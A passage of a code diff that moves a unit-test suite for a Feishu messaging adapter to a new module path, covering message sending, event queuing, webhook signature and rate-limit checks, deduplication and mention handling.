FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads( @@ -2685,7 +2685,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_build_post_payload_splits_multiple_fenced_code_blocks(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) payload = json.loads( @@ -2708,7 +2708,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_falls_back_to_text_when_post_payload_is_rejected(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {"calls": []} @@ -2734,7 +2734,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2753,7 +2753,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_falls_back_to_text_when_post_response_is_unsuccessful(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {"calls": []} @@ -2779,7 +2779,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2798,7 +2798,7 @@ class TestAdapterBehavior(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_send_uses_post_for_advanced_markdown_lines(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) captured = {} @@ -2822,7 +2822,7 @@ class TestAdapterBehavior(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run( adapter.send( chat_id="oc_chat", @@ -2852,7 +2852,7 @@ class TestHydrateBotIdentity(unittest.TestCase): def _make_adapter(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter return FeishuAdapter(PlatformConfig()) @@ -2976,12 +2976,12 @@ class TestPendingInboundQueue(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_event_queued_when_loop_not_ready(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = None # Simulate "before start()" or "during reconnect" - with patch("gateway.platforms.feishu.threading.Thread") as thread_cls: + with patch("hermes_agent_feishu.adapter.threading.Thread") as thread_cls: adapter._on_message_event(SimpleNamespace(tag="evt-1")) adapter._on_message_event(SimpleNamespace(tag="evt-2")) adapter._on_message_event(SimpleNamespace(tag="evt-3")) @@ -2996,7 +2996,7 @@ class TestPendingInboundQueue(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_drainer_replays_queued_events_when_loop_becomes_ready(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = None @@ -3008,7 +3008,7 @@ class TestPendingInboundQueue(unittest.TestCase): # Queue three events while loop is None (simulate the race). events = [SimpleNamespace(tag=f"evt-{i}") for i in range(3)] - with patch("gateway.platforms.feishu.threading.Thread"): + with patch("hermes_agent_feishu.adapter.threading.Thread"): for ev in events: adapter._on_message_event(ev) @@ -3027,7 +3027,7 @@ class TestPendingInboundQueue(unittest.TestCase): return future with patch( - "gateway.platforms.feishu.asyncio.run_coroutine_threadsafe", + "hermes_agent_feishu.adapter.asyncio.run_coroutine_threadsafe", side_effect=_submit, ) as submit: adapter._drain_pending_inbound_events() @@ -3042,13 +3042,13 @@ class TestPendingInboundQueue(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_drainer_drops_queue_when_adapter_shuts_down(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = None adapter._running = False # Shutdown state - with patch("gateway.platforms.feishu.threading.Thread"): + with patch("hermes_agent_feishu.adapter.threading.Thread"): adapter._on_message_event(SimpleNamespace(tag="evt-lost")) self.assertEqual(len(adapter._pending_inbound_events), 1) @@ -3062,13 +3062,13 @@ class TestPendingInboundQueue(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_queue_cap_evicts_oldest_beyond_max_depth(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._loop = None adapter._pending_inbound_max_depth = 3 # Shrink for test - with patch("gateway.platforms.feishu.threading.Thread"): + with patch("hermes_agent_feishu.adapter.threading.Thread"): for i in range(5): adapter._on_message_event(SimpleNamespace(tag=f"evt-{i}")) @@ -3082,7 +3082,7 @@ class TestPendingInboundQueue(unittest.TestCase): """When the loop is ready, events should dispatch directly without ever touching the pending queue.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -3099,10 +3099,10 @@ class TestPendingInboundQueue(unittest.TestCase): return future with patch( - "gateway.platforms.feishu.asyncio.run_coroutine_threadsafe", + "hermes_agent_feishu.adapter.asyncio.run_coroutine_threadsafe", side_effect=_submit, ) as submit, patch( - "gateway.platforms.feishu.threading.Thread" + "hermes_agent_feishu.adapter.threading.Thread" ) as thread_cls: adapter._on_message_event(SimpleNamespace(tag="evt")) @@ -3119,14 +3119,14 @@ class TestWebhookSecurity(unittest.TestCase): def _make_adapter(self, encrypt_key: str = "") -> "FeishuAdapter": from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter with patch.dict(os.environ, {"FEISHU_APP_ID": "cli", "FEISHU_APP_SECRET": "sec", "FEISHU_ENCRYPT_KEY": encrypt_key}, clear=True): return FeishuAdapter(PlatformConfig()) def test_signature_valid_passes(self): import hashlib - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter from gateway.config import PlatformConfig encrypt_key = "test_secret" @@ -3158,14 +3158,14 @@ class TestWebhookSecurity(unittest.TestCase): self.assertTrue(adapter._check_webhook_rate_limit("10.0.0.1")) def test_rate_limit_blocks_after_exceeding_max(self): - from gateway.platforms.feishu import _FEISHU_WEBHOOK_RATE_LIMIT_MAX + from hermes_agent_feishu.adapter import _FEISHU_WEBHOOK_RATE_LIMIT_MAX adapter = self._make_adapter() for _ in range(_FEISHU_WEBHOOK_RATE_LIMIT_MAX): adapter._check_webhook_rate_limit("10.0.0.2") self.assertFalse(adapter._check_webhook_rate_limit("10.0.0.2")) def test_rate_limit_resets_after_window_expires(self): - from gateway.platforms.feishu import _FEISHU_WEBHOOK_RATE_LIMIT_MAX, _FEISHU_WEBHOOK_RATE_WINDOW_SECONDS + from hermes_agent_feishu.adapter import _FEISHU_WEBHOOK_RATE_LIMIT_MAX, _FEISHU_WEBHOOK_RATE_WINDOW_SECONDS adapter = self._make_adapter() ip = "10.0.0.3" for _ in range(_FEISHU_WEBHOOK_RATE_LIMIT_MAX): @@ -3179,7 +3179,7 @@ class TestWebhookSecurity(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_webhook_request_rejects_oversized_body(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter, _FEISHU_WEBHOOK_MAX_BODY_BYTES + from hermes_agent_feishu.adapter import FeishuAdapter, _FEISHU_WEBHOOK_MAX_BODY_BYTES adapter = FeishuAdapter(PlatformConfig()) # Simulate a request whose Content-Length already signals oversize. @@ -3193,7 +3193,7 @@ class TestWebhookSecurity(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_webhook_request_rejects_invalid_json(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) request = SimpleNamespace( @@ -3207,7 +3207,7 @@ class TestWebhookSecurity(unittest.TestCase): @patch.dict(os.environ, {"FEISHU_ENCRYPT_KEY": "secret"}, clear=True) def test_webhook_request_rejects_bad_signature(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) body = json.dumps({"header": {"event_type": "im.message.receive_v1"}}).encode() @@ -3223,7 +3223,7 @@ class TestWebhookSecurity(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_webhook_connect_requires_inbound_auth_secret(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter( PlatformConfig( @@ -3236,7 +3236,7 @@ class TestWebhookSecurity(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_webhook_loads_auth_secrets_from_platform_extra(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter( PlatformConfig( @@ -3257,7 +3257,7 @@ class TestWebhookSecurity(unittest.TestCase): def test_webhook_url_verification_challenge_passes_without_signature(self): """Challenge requests must succeed even when no encrypt_key is set.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) body = json.dumps({"type": "url_verification", "challenge": "test_challenge_token"}).encode() @@ -3277,7 +3277,7 @@ class TestDedupTTL(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_duplicate_within_ttl_is_rejected(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) with patch.object(adapter, "_persist_seen_message_ids"): @@ -3288,7 +3288,7 @@ class TestDedupTTL(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_expired_entry_is_not_considered_duplicate(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter, _FEISHU_DEDUP_TTL_SECONDS + from hermes_agent_feishu.adapter import FeishuAdapter, _FEISHU_DEDUP_TTL_SECONDS adapter = FeishuAdapter(PlatformConfig()) # Plant an entry that expired well past the TTL. @@ -3306,7 +3306,7 @@ class TestDedupTTL(unittest.TestCase): """ import tempfile from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter with tempfile.TemporaryDirectory() as temp_home: with patch.dict(os.environ, {"HERMES_HOME": temp_home}, clear=True): @@ -3332,7 +3332,7 @@ class TestDedupTTL(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_persist_saves_timestamps_as_dict(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) ts = time.time() @@ -3348,7 +3348,7 @@ class TestDedupTTL(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_load_backward_compat_list_format(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) with tempfile.TemporaryDirectory() as tmpdir: @@ -3366,7 +3366,7 @@ class TestGroupMentionAtAll(unittest.TestCase): @patch.dict(os.environ, {"FEISHU_GROUP_POLICY": "open"}, clear=True) def test_at_all_in_content_accepts_without_explicit_bot_mention(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace( @@ -3380,7 +3380,7 @@ class TestGroupMentionAtAll(unittest.TestCase): def test_at_all_still_requires_policy_gate(self): """@_all bypasses mention gating but NOT the allowlist policy.""" from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) message = SimpleNamespace(content='{"text":"@_all attention"}', mentions=[]) @@ -3399,7 +3399,7 @@ class TestSenderNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_returns_none_when_client_is_none(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._client = None @@ -3409,7 +3409,7 @@ class TestSenderNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_returns_cached_name_within_ttl(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._client = SimpleNamespace() @@ -3421,7 +3421,7 @@ class TestSenderNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_fetches_and_caches_name_from_api(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) user_obj = SimpleNamespace(name="Bob", display_name=None, nickname=None, en_name=None) @@ -3441,7 +3441,7 @@ class TestSenderNameResolution(unittest.TestCase): contact=SimpleNamespace(v3=SimpleNamespace(user=_ContactAPI())) ) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_bob")) self.assertEqual(result, "Bob") @@ -3450,7 +3450,7 @@ class TestSenderNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_expired_cache_triggers_new_api_call(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) # Expired cache entry. @@ -3469,7 +3469,7 @@ class TestSenderNameResolution(unittest.TestCase): contact=SimpleNamespace(v3=SimpleNamespace(user=_ContactAPI())) ) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_expired")) self.assertEqual(result, "NewName") @@ -3477,7 +3477,7 @@ class TestSenderNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_api_failure_returns_none_without_raising(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -3492,7 +3492,7 @@ class TestSenderNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_broken")) self.assertIsNone(result) @@ -3513,7 +3513,7 @@ class TestBotNameResolution(unittest.TestCase): def _build_adapter_with_bots(self, bots: Dict[str, str]): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) calls = [] @@ -3528,7 +3528,7 @@ class TestBotNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_returns_cached_bot_name_without_api_call(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) adapter._sender_name_cache["ou_peer"] = ("Peer Bot", time.time() + 600) @@ -3545,7 +3545,7 @@ class TestBotNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_peer", is_bot=True)) self.assertEqual(result, "Peer Bot") @@ -3558,7 +3558,7 @@ class TestBotNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_api_failure_returns_none_and_does_not_poison_cache(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) @@ -3570,7 +3570,7 @@ class TestBotNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_peer", is_bot=True)) self.assertIsNone(result) @@ -3585,7 +3585,7 @@ class TestBotNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_ghost", is_bot=True)) self.assertIsNone(result) @@ -3599,7 +3599,7 @@ class TestBotNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): first = asyncio.run(adapter._resolve_sender_name_from_api("ou_nameless", is_bot=True)) second = asyncio.run(adapter._resolve_sender_name_from_api("ou_nameless", is_bot=True)) @@ -3611,7 +3611,7 @@ class TestBotNameResolution(unittest.TestCase): @patch.dict(os.environ, {}, clear=True) def test_non_zero_code_returns_none(self): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) error_payload = b'{"code":99991663,"msg":"permission denied"}' @@ -3622,7 +3622,7 @@ class TestBotNameResolution(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - with patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct): + with patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct): result = asyncio.run(adapter._resolve_sender_name_from_api("ou_peer", is_bot=True)) self.assertIsNone(result) @@ -3645,7 +3645,7 @@ class TestProcessingReactions(unittest.TestCase): next_reaction_id: str = "r1", ): from gateway.config import PlatformConfig - from gateway.platforms.feishu import FeishuAdapter + from hermes_agent_feishu.adapter import FeishuAdapter adapter = FeishuAdapter(PlatformConfig()) tracker = SimpleNamespace( @@ -3694,7 +3694,7 @@ class TestProcessingReactions(unittest.TestCase): async def _direct(func, *args, **kwargs): return func(*args, **kwargs) - return patch("gateway.platforms.feishu.asyncio.to_thread", side_effect=_direct) + return patch("hermes_agent_feishu.adapter.asyncio.to_thread", side_effect=_direct) # ------------------------------------------------------------------ start @patch.dict(os.environ, {}, clear=True) @@ -3828,7 +3828,7 @@ class TestProcessingReactions(unittest.TestCase): # ------------------------------------------------------------- LRU bounds @patch.dict(os.environ, {}, clear=True) def test_cache_evicts_oldest_entry_beyond_size_limit(self): - from gateway.platforms.feishu import _FEISHU_PROCESSING_REACTION_CACHE_SIZE + from hermes_agent_feishu.adapter import _FEISHU_PROCESSING_REACTION_CACHE_SIZE adapter, _ = self._build_adapter() counter = {"n": 0} @@ -3859,7 +3859,7 @@ class TestProcessingReactions(unittest.TestCase): class TestFeishuMentionMap(unittest.TestCase): def test_build_mentions_map_handles_at_all(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity, FeishuMentionRef + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity, FeishuMentionRef mention = SimpleNamespace(key="@_all", id=None, name="") result = _build_mentions_map( @@ -3869,7 +3869,7 @@ class TestFeishuMentionMap(unittest.TestCase): self.assertEqual(result["@_all"], FeishuMentionRef(is_all=True)) def test_build_mentions_map_marks_self_by_open_id(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity mention = SimpleNamespace( key="@_user_1", @@ -3882,7 +3882,7 @@ class TestFeishuMentionMap(unittest.TestCase): self.assertEqual(ref.name, "Hermes") def test_build_mentions_map_marks_self_by_name_fallback(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity mention = SimpleNamespace( key="@_user_1", @@ -3897,7 +3897,7 @@ class TestFeishuMentionMap(unittest.TestCase): NOT be flagged as self when their open_id differs. Before the fix, name-match fired even when open_id was present and different, causing their messages to be silently stripped/dropped.""" - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity human_with_same_name = SimpleNamespace( key="@_user_1", @@ -3915,7 +3915,7 @@ class TestFeishuMentionMap(unittest.TestCase): not have populated _bot_open_id yet. During that window, a mention carrying a real open_id should still match via name — otherwise @bot messages silently fail admission.""" - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity bot_mention = SimpleNamespace( key="@_user_1", @@ -3930,7 +3930,7 @@ class TestFeishuMentionMap(unittest.TestCase): self.assertTrue(result["@_user_1"].is_self) def test_build_mentions_map_non_self_user(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity mention = SimpleNamespace( key="@_user_1", @@ -3943,12 +3943,12 @@ class TestFeishuMentionMap(unittest.TestCase): self.assertEqual(ref.name, "Alice") def test_build_mentions_map_returns_empty_for_none_input(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity self.assertEqual(_build_mentions_map(None, _FeishuBotIdentity(open_id="ou_bot")), {}) def test_build_mentions_map_tolerates_missing_id_object(self): - from gateway.platforms.feishu import _build_mentions_map, _FeishuBotIdentity + from hermes_agent_feishu.adapter import _build_mentions_map, _FeishuBotIdentity mention = SimpleNamespace(key="@_user_9", id=None, name="") ref = _build_mentions_map([mention], _FeishuBotIdentity(open_id="ou_bot"))["@_user_9"] @@ -3958,7 +3958,7 @@ class TestFeishuMentionMap(unittest.TestCase): class TestFeishuMentionHint(unittest.TestCase): def test_hint_single_user(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(name="Alice", open_id="ou_alice")] self.assertEqual( @@ -3967,7 +3967,7 @@ class TestFeishuMentionHint(unittest.TestCase): ) def test_hint_multiple_users(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [ FeishuMentionRef(name="Alice", open_id="ou_alice"), @@ -3979,13 +3979,13 @@ class TestFeishuMentionHint(unittest.TestCase): ) def test_hint_at_all(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(is_all=True)] self.assertEqual(_build_mention_hint(refs), "[Mentioned: @all]") def test_hint_filters_self_mentions(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [ FeishuMentionRef(name="Hermes", open_id="ou_bot", is_self=True), @@ -3997,30 +3997,30 @@ class TestFeishuMentionHint(unittest.TestCase): ) def test_hint_returns_empty_when_only_self(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(name="Hermes", open_id="ou_bot", is_self=True)] self.assertEqual(_build_mention_hint(refs), "") def test_hint_returns_empty_for_no_refs(self): - from gateway.platforms.feishu import _build_mention_hint + from hermes_agent_feishu.adapter import _build_mention_hint self.assertEqual(_build_mention_hint([]), "") def test_hint_falls_back_when_open_id_missing(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(name="Alice", open_id="")] self.assertEqual(_build_mention_hint(refs), "[Mentioned: Alice]") def test_hint_uses_unknown_placeholder_when_name_missing(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(name="", open_id="ou_xxx")] self.assertEqual(_build_mention_hint(refs), "[Mentioned: unknown (open_id=ou_xxx)]") def test_hint_dedupes_repeated_user(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [ FeishuMentionRef(name="Alice", open_id="ou_alice"), @@ -4033,7 +4033,7 @@ class TestFeishuMentionHint(unittest.TestCase): ) def test_hint_dedupes_repeated_at_all(self): - from gateway.platforms.feishu import FeishuMentionRef, _build_mention_hint + from hermes_agent_feishu.adapter import FeishuMentionRef, _build_mention_hint refs = [FeishuMentionRef(is_all=True), FeishuMentionRef(is_all=True)] self.assertEqual(_build_mention_hint(refs), "[Mentioned: @all]") @@ -4041,7 +4041,7 @@ class TestFeishuMentionHint(unittest.TestCase): class TestFeishuStripLeadingSelf(unittest.TestCase): def _make_refs(self, *, self_name="Hermes", other_name=None): - from gateway.platforms.feishu import FeishuMentionRef + from hermes_agent_feishu.adapter import FeishuMentionRef refs = [FeishuMentionRef(name=self_name, open_id="ou_bot", is_self=True)] if other_name: @@ -4049,19 +4049,19 @@ class TestFeishuStripLeadingSelf(unittest.TestCase): return refs def test_strips_leading_self(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions result = _strip_edge_self_mentions("@Hermes /help", self._make_refs()) self.assertEqual(result, "/help") def test_strips_consecutive_leading_self(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions result = _strip_edge_self_mentions("@Hermes @Hermes hi", self._make_refs()) self.assertEqual(result, "hi") def test_stops_at_first_non_self_token(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions result = _strip_edge_self_mentions( "@Hermes @Alice make a group", self._make_refs(other_name="Alice") @@ -4069,26 +4069,26 @@ class TestFeishuStripLeadingSelf(unittest.TestCase): self.assertEqual(result, "@Alice make a group") def test_preserves_mid_text_self(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions result = _strip_edge_self_mentions("check @Hermes said yesterday", self._make_refs()) self.assertEqual(result, "check @Hermes said yesterday") def test_strips_trailing_self_at_end_of_text(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions result = _strip_edge_self_mentions("look up docs @Hermes", self._make_refs()) self.assertEqual(result, "look up docs") def test_strips_trailing_self_with_terminal_punct(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions # Terminal punct after the mention — strip the mention, keep the punct. result = _strip_edge_self_mentions("look up docs @Hermes.", self._make_refs()) self.assertEqual(result, "look up docs.") def test_preserves_trailing_self_before_non_terminal_char(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions # Non-terminal char (here a Chinese particle) follows — preserve. result = _strip_edge_self_mentions( @@ -4097,25 +4097,25 @@ class TestFeishuStripLeadingSelf(unittest.TestCase): self.assertEqual(result, "please don't @Hermes anymore") def test_returns_input_when_refs_empty(self): - from gateway.platforms.feishu import _strip_edge_self_mentions + from hermes_agent_feishu.adapter import _strip_edge_self_mentions self.assertEqual(_strip_edge_self_mentions("@Hermes /help", []), "@Hermes /help") def test_returns_input_when_no_self_refs(self): - from gateway.platforms.feishu import _strip_edge_self_mentions, FeishuMentionRef + from hermes_agent_feishu.adapter import _strip_edge_self_mentions, FeishuMentionRef refs = [FeishuMentionRef(name="Alice", open_id="ou_alice")] self.assertEqual(_strip_edge_self_mentions("@Alice hi", refs), "@Alice hi") def test_uses_open_id_fallback_when_name_missing(self): - from gateway.platforms.feishu import _strip_edge_self_mentions, FeishuMentionRef + from hermes_agent_feishu.adapter import _strip_edge_self_mentions, FeishuMentionRef refs = [FeishuMentionRef(name="", open_id="ou_bot", is_self=True)] self.assertEqual(_strip_edge_self_mentions("@ou_bot hi", refs), "hi") def test_word_boundary_prevents_prefix_collision(self): """A bot named 'Al' must not eat the leading 